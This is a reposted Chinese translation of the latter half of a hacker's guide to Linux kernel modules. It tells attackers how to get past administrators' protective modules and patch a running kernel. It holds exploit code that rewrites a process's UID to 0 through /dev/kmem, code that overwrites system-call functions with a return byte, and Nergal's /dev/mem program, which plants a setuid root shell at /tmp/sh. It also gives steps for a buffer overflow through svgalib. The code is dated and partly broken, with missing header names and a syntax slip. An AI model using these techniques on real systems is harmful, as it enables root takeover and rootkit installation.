Linux系統可解除安裝核心模組完全指南(下)(轉)

ba發表於2007-08-09
Linux系統可解除安裝核心模組完全指南(下)(轉)[@more@]第四部分 一些更好的想法(給hacker的)
  
  4.1 擊敗系統管理員的LKM的方法
  
  這一部分會給我們對付一些使用LKM保護核心的多疑(好的)的管理員的方法。在解釋了所有系統管理員能夠使用的方法之後,很難為我們(hackers)找到一個更好的辦法。我們需要離開LKM一會兒,來尋找擊敗這些困難的保護的方法。
  
  假定一個系統可以被管理員安裝上一個十分好的大範圍的監視的LKM,他可以檢查那個系統的每一個細節。他可以做到第二或者第三部分提到的所有事情。
  
  第一種除掉這些LKM的方法可以是重新啟動系統。也許管理員並沒有在啟動檔案裡面載入這些LKM。因此,試一些DoS攻擊或者其他的。如果你還不能除去這個LKM就看看其他的一些重要檔案。但是要仔細,一些檔案有可能是被保護或者監視的(見附錄A,裡面有一個類似的LKM)。
  
  假如你真的找不到LKM是在那裡載入的等等,不要忘記系統是已經安裝了一個後門的。這樣你就不可以隱藏檔案或者程式了。但是如果一個管理員真正使用了這麼一個超級的LKM,忘記這個系統吧。你可能遇到真正的好的對手並且將會有麻煩。對於那些確實想擊敗這個系統的,讀第二小節。
  
  4.2 修補整個核心-或者建立Hacker-OS
  
  [注意:這一節聽上去可能有一些離題了。但是在最後我會給出一個很漂亮的想法(Silvio
  Cesare寫的程式也可以幫助我們使用我們的LKM。這一節只會給出整個核心問題的一個大概的想法,因為我只需要跟隨Sivio Cesare的想法]
  
  OK,LKM是很好的。但是如果系統管理員喜歡在5。1中提到的想法。他做了很多來阻止我們使用我們在第二部分學到的美妙的LKM技術。他甚至修補他自己的核心來使他的系統安全。他使用一個不需要LKM支援的核心。
  
  因此,現在到了我們使用我們最後一招的時候了:執行時核心補丁。最基本的想法來自我發現的一些源程式(比如說Kmemthief),還有Silvio
  Cesare的一個描述如何改變核心符號的論文。在我看來,這種攻擊是一種很強大的'核心入侵'。我並不是懂得每一個Un*x,但是這種方法可以在很多系統上使用。這一節描述的是執行時核心補丁。但是為什麼不談談核心檔案補丁呢?每一個系統有一個檔案來代表核心,在免費的系統中,像FreeBSD,Linux,。。。。,改變一個核心檔案是很容易的。但是在商業系統中呢?我從來沒有試過。但是我想這會是很有趣的:想象透過一個核心的補丁作為系統的後門.你只好重新啟動系統或者等待一次啟動。(每個系統都需要啟動)。但是這個教材只會處理執行時的補丁方式。你也許說這個教材叫入侵Linux可解除安裝核心模組,並且你不想知道如何補丁整個核心。好的,這一節將會教會我們如何'insmod'LKM到一個十分安全的,或者沒有LKM支援的系統。因此我們還是學到了一些和LKM有關的東西了。
  
  因此,讓我們開始我們最為重要的必須處理的東西,如果我們想學習RKP(Runtime Kernel Patching)的話。這就是/dev/kmem檔案。他可以幫助我們看到(並且更改)整個我們的系統的虛擬記憶體。[注意:這個RKP方法在通常情況下是十分有用的,如果你控制了那個系統以後。只有非常不安全的系統才會讓普通使用者存取那個檔案]。
  
  正如我所說的,/dev/kmem可以使我們有機會看到我們系統中的每一個記憶體位元組(包括swap)。這意味著我們可以存取整個記憶體,這就允許我們操縱記憶體中的每一個核心元素。(因為核心只是載入到系統記憶體的目的碼)。記住/proc/ksyms檔案記錄了每一個輸出的核心符號的地址。因此我們知道如何才能透過更改記憶體來控制一些核心符號。下面讓我們來看看一個很早就知道的很基本的例子。下面的(使用者空間)的程式獲得了task_structure的地址和某一個PID.在搜尋了代表某個PID的任務結構以後,他改變了每個使用者的ID域使得UID=0。當然,今天這樣的程式是毫無用處的。因為絕大多數的系統不會允許一個普通的使用者去讀取/dev/kmem。但是這是一個關於RKP的好的介紹。
  
  /*注意:我沒有實現錯誤檢查*/
  
  #include
  
  #include
  
  #include
  
  #include
  
  /*我們想要改變的任務結構的最大數目*/
  
  #define NR_TASKS 512
  
  /*我們的任務結構-〉我只使用了我們需要的那部分*/
  
  struct task_struct {
  
  char a[108];       /*我們不需要的*/
  
  int pid;
  
  char b[168];       /*我們不需要的*/
  
  unsigned short uid,euid,suid,fsuid;
  
  unsigned short gid,egid,sgid,fsgid;
  
  char c[700];       /*我們不需要的*/
  
  };
  
  /*下面是原始的任務結構,你可以看看還有其他的什麼是你可以改變的
  
  struct task_struct {
  
  volatile long state;
  
  long counter;
  
  long priority;
  
  unsigned long signal;
  
  unsigned long blocked;
  
  unsigned long flags;
  
  int errno;
  
  long debugreg[8];
  
  struct exec_domain *exec_domain;
  
  struct linux_binfmt *binfmt;
  
  struct task_struct *next_task, *prev_task;
  
  struct task_struct *next_run, *prev_run;
  
  unsigned long saved_kernel_stack;
  
  unsigned long kernel_stack_page;
  
  int exit_code, exit_signal;
  
  unsigned long personality;
  
  int dumpable:1;
  
  int did_exec:1;
  
  int pid;
  
  int pgrp;
  
  int tty_old_pgrp;
  
  int session;
  
  int leader;
  
  int groups[NGROUPS];
  
  struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
  
  struct wait_queue *wait_chldexit;
  
  unsigned short uid,euid,suid,fsuid;
  
  unsigned short gid,egid,sgid,fsgid;
  
  unsigned long timeout, policy, rt_priority;
  
  unsigned long it_real_value, it_prof_value, it_virt_value;
  
  unsigned long it_real_incr, it_prof_incr, it_virt_incr;
  
  struct timer_list real_timer;
  
  long utime, stime, cutime, cstime, start_time;
  
  unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
  
  int swappable:1;
  
  unsigned long swap_address;
  
  unsigned long old_maj_flt;
  
  unsigned long dec_flt;
  
  unsigned long swap_cnt;
  
  struct rlimit rlim[RLIM_NLIMITS];
  
  unsigned short used_math;
  
  char comm[16];
  
  int link_count;
  
  struct tty_struct *tty;
  
  struct sem_undo *semundo;
  
  struct sem_queue *semsleeping;
  
  struct desc_struct *ldt;
  
  struct thread_struct tss;
  
  struct fs_struct *fs;
  
  struct files_struct *files;
  
  struct mm_struct *mm;
  
  struct signal_struct *sig;
  
  #ifdef __SMP__
  
  int processor;
  
  int last_processor;
  
  int lock_depth;
  
  #endif
  
  };
  
  */
  
  int main(int argc, char *argv[])
  
  {
  
  unsigned long task[NR_TASKS];
  
  /*用於特定PID的任務結構*/
  
  struct task_struct current;
  
  int kmemh;
  
  int i;
  
  pid_t pid;
  
  int retval;
  
  pid = atoi(argv[2]);
  
  kmemh = open("/dev/kmem", O_RDWR);
  
  /*找到第一個任務結構的記憶體地址*/
  
  lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
  
  read(kmemh, task, sizeof(task));
  
  
  /*遍歷知道我們找到我們的任務結構(由PID確定)*/
  
  for (i = 0; i < NR_TASKS; i++)
  
  {
  
  lseek(kmemh, task, SEEK_SET);
  
  read(kmemh, ¤t, sizeof(current));
  
  /*是我們的程式麼*/
  
  if (current.pid == pid)
  
  {
  
  /*是的,因此改變UID域。。。。*/
  
  current.uid = current.euid = 0;
  
  current.gid = current.egid = 0;
  
  /*寫回到記憶體*/
  
  lseek(kmemh, task, SEEK_SET);
  
  write(kmemh, ¤t, sizeof(current));
  
  printf("Process was found and task structure was modified ");
  
  exit(0);
  
  }
  
  }
  
  }
  
  關於這個小程式沒有什麼太特殊的地方。他不過是在一個域中找到某些匹配的,然後再改變某些域罷了。除此之外還有很多程式來做類似的工作。你可以看到,上面的這個例子並不能幫助你攻擊系統。他只是用於演示的。(但是也許有一些弱智的系統允許使用者寫/dev/kmem,我不知道)。用同樣的方法你也可以改變控制系統核心資訊的模組結構。透過對kmem操作,你也可以隱藏一個模組;我在這裡就不給出原始碼了,因為基本上和上面的那個程式一樣(當然,搜尋是有點難了)。透過上面的方法我們可以改變一個核心的結構。有一些程式是做這個的。但是,對於函式我們怎麼辦呢?我們可以在網上搜尋,並且會發現並沒有太多的程式來完成這個。當然,對一個核心函式進行補丁會更有技巧一些(在後面我們會做一些更有用的事情)。對於sys_call_table結構的最好的入侵方法就是讓他指向一個完全我們自己的新的函式。下面的例子僅僅是一個十分簡單的程式,他讓所有的系統呼叫什麼也不幹。我僅僅插入一個RET(0xc3)在每一個我從/proc/ksyms獲得的函式地址前面。這樣這個函式就會馬上返回,什麼也不做。
  
  /*同樣的,沒有錯誤檢查*/
  
  #include
  
  #include
  
  #include
  
  #include
  
  /*不過是我們的返回程式碼*/
  
  unsigned char asmcode[]={0xc3};
  
  int main(int argc, char *argv[])
  
  {
  
  unsigned long counter;
  
  int kmemh;
  
  /*開啟裝置*/
  
  kmemh = open("/dev/kmem", O_RDWR);
  
  /*找到記憶體地址中函式開始的地方*/
  
  lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
  
  /*寫入我們的補丁位元組*/
  
  write(kmemh, &asmcode, 1):
  
  close(kmemh);
  
  }
  
  讓我們總結一下我們目前所知道的:我們可以改變任何核心符號;這包括一些像sys_call_table[]這樣的東西,還有其他任何的函式或者結構。記住每個核心補丁只有在我們可以存取到/dev/kmem的時候才可以使用。但是我們也知道了如何保護這個檔案。可以看3.5.5。
  
  ###adv###  4.2.1 如何在/dev/kmem中找到核心符號表
  
  在上面的一些基本的例子過後,你也許會問如何更改任何一個核心符號以及如何才能找到有趣的東西。在上面的例子中,我們使用/proc/ksyms來找到我們需要改變的符號的地址。但是當我們在一個核心裡面沒有LKM支援的系統時該怎麼辦呢?這將不會有/proc/ksyms這個檔案了,因為這個檔案只用於管理模組。(公共的,或者存在的符號)。那麼對於那些沒有輸出的核心符號我們該怎麼辦呢?我們怎樣才能更改他們?
  
  呵呵,有很多問題。現在讓我們來找一些解決的方案。Silvio Cesare討論過一些發現不同的核心符號的方法(公共的或者不公開的)。他指出當編譯Linux核心的時候,一個名字叫System。map的檔案被建立,他對映每一個核心的符號到一個固定的地址。這個檔案只是在編譯的時候解析這些核心的符號的時候才需要。執行著的系統沒有必要使用這個檔案。這些編譯時候使用的地址和/dev/kmem裡面使用的使一樣的。因此,通常的步驟是:
  
  查詢system。map來獲得需要的核心符號
  
  找到我們的地址
  
  改變核心符號(結構,函式,或者其他的)
  
  聽上去相當的容易。但是這裡會有一個大問題。每一個系統並不使用和我們一樣的核心,因此他們的核心符號的地址也不會和我們的一樣。而且在大多數系統中你並不會找到一個有用的system。map檔案來告訴你每一個地址。那我們應該怎麼辦呢?Silvio Cesare建議我們使用一種關鍵碼搜尋的方法。只要使用你的核心,讀一個符號的開始的十個位元組的(是隨機的)值,並且把這十個值作為關鍵碼來在另一個核心中搜尋地址。如果你不能為某個符號找到一個一般的關鍵碼,你可以嘗試找到這個符號和系統其他你可以找到關鍵碼的符號的關係。要找到這種關係你可以看核心的原始碼。透過這種方法,你可以找到一些你可以改變的有趣的核心符號。(補丁)。
  
  4.2.2 新的不需要核心支援的'insmod'
  
  現在到了我們回到我們的LKM入侵上的時候了。這一節將會向你介紹Silvio Cesare的kinsmod程式。我只會列出大體上的工作方法。這個程式的最為複雜的部分在於處理(elf檔案)的目的碼和核心空間的對映。但是這只是一個處理elf頭的問題,不是核心問題。Silvio Cesare使用elf檔案是因為透過這種方法你可以安裝[正常]的LKMs。當然也可以寫一個檔案(僅僅是操作碼-〉看我的RET例子)並且插入這個檔案,這會有點難,但是對映會很容易。對於那些想真正理解elf檔案處理的,我把Silvio Cesare的教材加進來了。(我已經做了,因為Silvio Cesare希望他的原始碼或者想法只能在那份教材裡面作為一個整體傳播)。
  
  現在讓我們來看看在一個沒有LKM支援的系統中插入LKM的方法。
  
  如果我們想插入程式碼(一個LKM或者其他的任何東西),我們將要面對的第一個問題是如何獲得記憶體。我們不能取一個隨機的地址然後就往/dev/kmem裡面寫我們的目的碼。因此我們必須找到一個放我們的程式碼的地方,他不能傷害到我們的系統,而且不能因為一些核心操作就被核心釋放。有一個地方我們可以插入一些程式碼,看一眼下面的顯示所有核心記憶體的圖表:
  
  kernel data
  
  ...
  
  kmalloc pool
  
  Kmalloc
  
  pool是用來給核心空間的記憶體分配用的(kmalloc(...))。我們不能把我們的程式碼放在這裡,因為我們不能確定我們所寫的這個地址空間是沒有用的。現在看看Silvio Cesare的想法:kmalloc pool在記憶體中的邊界是存在核心輸出的memory_start和memory_end裡面的。(見/proc/ksyms)。有意思的一點在於開始的地(memory_start)並不是確切的kmalloc pool的開始地址。因為這個地址要和下一頁的memory_start對齊。因此,會有一些記憶體是永遠都不會被用到的。(在memory_start和真正的kmalloc pool的開始處)。這是我們插入我們的程式碼的最好的地方。OK,這並不是所有的一切。你也許會意識到在這個小小的記憶體空間裡面放不下任何有用的LKM。Silvio Cesare把一些啟動程式碼放在這裡。這些程式碼載入實際的LKM。透過這個方法,我們可以在缺乏LKM支援的系統上載入LKM。請閱讀Silvio Cesare的論文來獲得進一步的討論以及如何實際上將一個LKM檔案(elf 格式的)對映到核心。這會有一點難度。
  
  4.3 最後的話
  
  第二節的主意很好。但是對於那些不允許存取kmem的系統呢?最後的一個方法就是利用一些核心系統漏洞來插入/改變核心空間。在核心空間總是要有一些緩衝區溢位或者其他的毛病。還要考慮到一些模組的漏洞。只要看一眼核心的許多原始檔。甚至使用者空間的程式也可以幫助我們改變核心。
  
  我還記得,在幾個星期以前,一個和svgalib有關的漏洞被發現。每一個程式透過使用svgalib來獲得一個向/dev/mem的寫許可權。/dev/mem也可以被RKP用來獲得和/dev/kmeme一樣的地址。因此看一看下面的列表,來獲得一些如何在一個非常安全的系統中做RKP的方法:
  
  找到一個使用svgalib的程式。
  
  檢查那個程式,獲得一個一般的緩衝區溢位(這應該並不會太難)
  
  寫一個簡單的程式來啟動一個程式,開啟/dev/mem,獲得寫控制程式碼,並且可以操縱任務結構使得你的程式的UID=0
  
  ###adv###  建立一個root的shell
  
  這個機制通常執行的很好(zgv,gnuplot或者其他的一些著名的例子)。為了獲得這個任務結構一些人使用下面的Nergal的程式(這是使用了開啟寫控制程式碼的)
  
  /*Nergal的作品*/
  
  #define SEEK_SET 0
  
  #define __KERNEL__
  
  #include
  
  #undef __KERNEL__
  
  #define SIZEOF sizeof(struct task_struct)
  
  int mem_fd;
  
  int mypid;
  
  void
  
  testtask (unsigned int mem_offset)
  
  {
  
  struct task_struct some_task;
  
  int uid, pid;
  
  lseek (mem_fd, mem_offset, SEEK_SET);
  
  read (mem_fd, &some_task, SIZEOF);
  
  if (some_task.pid == mypid)
  
  /*是我們的任務結構麼?*/
  
  {
  
  some_task.euid = 0;
  
  some_task.fsuid = 0;
  
  /*chown需要這個*/
  
  lseek (mem_fd, mem_offset, SEEK_SET);
  
  write (mem_fd, &some_task, SIZEOF);
  
  /*從現在起,對於我們來說沒有法律。。。*/
  
  chown ("/tmp/sh", 0, 0);
  
  chmod ("/tmp/sh", 04755);
  
  exit (0);
  
  }
  
  }
  
  #define KSTAT 0x001a8fb8
  
  /*《-改變這個地址為你的kstat*/
  
  main ()
  
  /*透過執行/proc/ksyms|grep kstat*/
  
  {
  
  unsigned int i;
  
  struct task_struct *task[NR_TASKS];
  
  unsigned int task_addr = KSTAT - NR_TASKS * 4;
  
  mem_fd = 3;
  
  
  /*假定要開啟的是/dev/mem*/
  
  mypid = getpid ();
  
  lseek (mem_fd, task_addr, SEEK_SET);
  
  read (mem_fd, task, NR_TASKS * 4);
  
  for (i = 0; i < NR_TASKS; i++)
  
  if (task)
  
  testtask ((unsigned int)(task));
  
  
  }
  
  這只不過是一個例子,是為了告訴你不管怎麼樣,你總是能夠找到一些方法的。對於有堆疊執行許可權的系統,你可以找堆疊溢位,或者跳到某些庫函式(system(...)).會有很多方法……
  
  我希望這最後的一節可以給你一些如何繼續的提示。
  
  ###adv###  第五部分 最近的一些東西:2.2.x版本的核心
  
  5.1 對於LKM作者來說,一些主要的不同點
  
  Linux有了一個新的主版本:2.2在LKM程式設計上,他帶給我們一些小的改變。這一部分將會幫助你適應這些變化,並且列出了大的一些變化。[注意:關於新的版本的核心,會有另一個釋出版本]
  
  我會向你介紹一些新的宏和函式來幫助你開發2.2版本的核心的LKM。要獲得每一個確切的變化可以看新的標頭檔案linux/module.h。這個檔案在2.1.18版本的核心中被完全的重寫了。首先讓我們來看看一些可以幫助我們更方便的處理系統呼叫表的宏:
  
  宏描述
  
  EXPORT_NO_SYMBOLS:這一個相當於舊版本核心的register_symtab(NULL)
  
  EXPORT_SYMTAB:如果你想輸出一些符號的話,必須在linux/module.h前面定義這個宏
  
  EXPORT_SYMBOL(name):輸出名字叫'name'的宏
  
  EXPORT_SYMBOL_NOVERS(name):沒有版本資訊的輸出符號
  
  使用者空間的存取函式也有很大的變化。因此我會在這裡列出來(只要包含asm/uaccess.h來使用他們):
  
  函式描述
  
  int access_ok (int type, unsigned long addr, unsigned long size);
  
  這個函式檢查是否當前程式允許存取某個地址
  
  unsigned long copy_from_user (unsigned long to, unsigned long from,
  unsigned long len);
  
  這個是新的memcpy_tofs函式
  
  unsigned long copy_to_user (unsigned long to, unsigned long from, unsigned
  long len);
  
  這是相對應的copy_from_user(...)
  
  你沒有必要使用access_ok(...),因為上面列出的函式都自己檢查這個。還有許多不一樣的地方,但是你可以看看linux/module.h來獲得一個詳細的列表。
  
  我最後想提一件事情。我寫了很多關於核心守護程式(kerneld)的東西。2.2版的核心不會再使用kerneld了。他使用另外一種方法來實現核心空間的request_module(...)函式-叫做kmod。kmod完全是執行在核心空間的(不再IPC到使用者空間了)。對於LKM程式設計師來說,沒有什麼大的變化。你還是可以使用request_module(...)來載入模組。因此LKM傳染者還是可以在2.2的核心中使用。
  
  我很抱歉關於2.2核心只有這麼少的東西。但是目前我正在寫一個關於2.2核心安全的論文(特別是LKM的)。因此請注意新的THC釋出的論文。我甚至計劃工作在一些BSD系統上(FreeBSD,OpenBSD,例如)但是這會發幾個月的時間。
  
  第六部分 最後的話
  
  6.1 LKM傳奇以及如何使得一個系統即好用又安全
  
  你大概會感到奇怪,既然LKM這麼的不安全,那麼為什麼要使用他們呢。最初LKM是被設計使得使用者更為方便的。Linux和Microsoft相對立,因此開發者們需要一個使得老的Unxi系統更為吸引人和容易的方法。他們實現了KDE和其他很好的東西。比如說,kerneld就是被用來使得模組處理更為容易的。但是要記住,越為簡單和自動化的系統就會有越多的安全問題。不可能同時使得一個系統既讓使用者感到很方便又有足夠的安全性。模組就是一個很好的這樣的例子。
  
  Microsoft給了我們另外一個例子:考慮ActiveX,他(大概)是個好主意,用一個安全的設計來保證一切都是簡單的。
  
  因此,親愛的Linux開發者們;請謹慎了,不要犯Microsoft的錯誤。不要建立一個好用,但是不安全的OS。把安全時刻記在心中!!!
  
  這篇文章也很清楚的說明了任何系統的核心必須用最好的方法進行保護。不能讓一個入侵者更改你係統中最為重要的部分。我把這個任務留給所有系統的設計者。:)

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10617731/viewspace-939359/,如需轉載,請註明出處,否則將追究法律責任。

相關文章